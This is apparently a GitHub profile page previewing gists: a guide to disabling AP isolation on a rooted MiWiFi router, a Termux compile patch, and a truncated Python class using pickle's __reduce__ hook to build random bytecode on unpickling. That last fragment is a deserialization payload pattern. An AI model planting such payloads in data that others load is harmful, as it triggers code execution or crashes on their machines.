Skip to content

Instantly share code, notes, and snippets.

View gamecss's full-sized avatar
😢
How

冷冻罗非鱼怎么你了 gamecss

😢
How
View GitHub Profile
@gamecss
gamecss / miwifi_disable_ap.md
Created September 29, 2023 02:34
Disable AP Isolation in MiWiFi

Learn how to use vi first.
Get root shell of your miwifi router. Follow guide here.
Execute vi /data/etc/config/wireless
Find section like this:

config wifi-iface          
        (lots of lines)
        option mode 'ap'      
        option key 'Your wifi's password'     
 option disabled '0' 
@gamecss
gamecss / fsd_termux.patch
Created August 28, 2023 11:01
Fix fsd compile on termux
diff --git a/fsd/interface.cpp b/fsd/interface.cpp
index ef06819..8b5b735 100644
--- a/fsd/interface.cpp
+++ b/fsd/interface.cpp
@@ -5,7 +5,7 @@
#else
#include <unistd.h> #include <sys/types.h>
- #include <sys/timeb.h>
+ #include "timeb_bionic.h"
#include <netinet/in.h>
class ABCD(object):
def __reduce__(self):
a = """def a():
from opcode import opmap
from random import choice
from types import CodeType
ops = b""
opvalues = list(opmap.values())
while len(ops) < 37: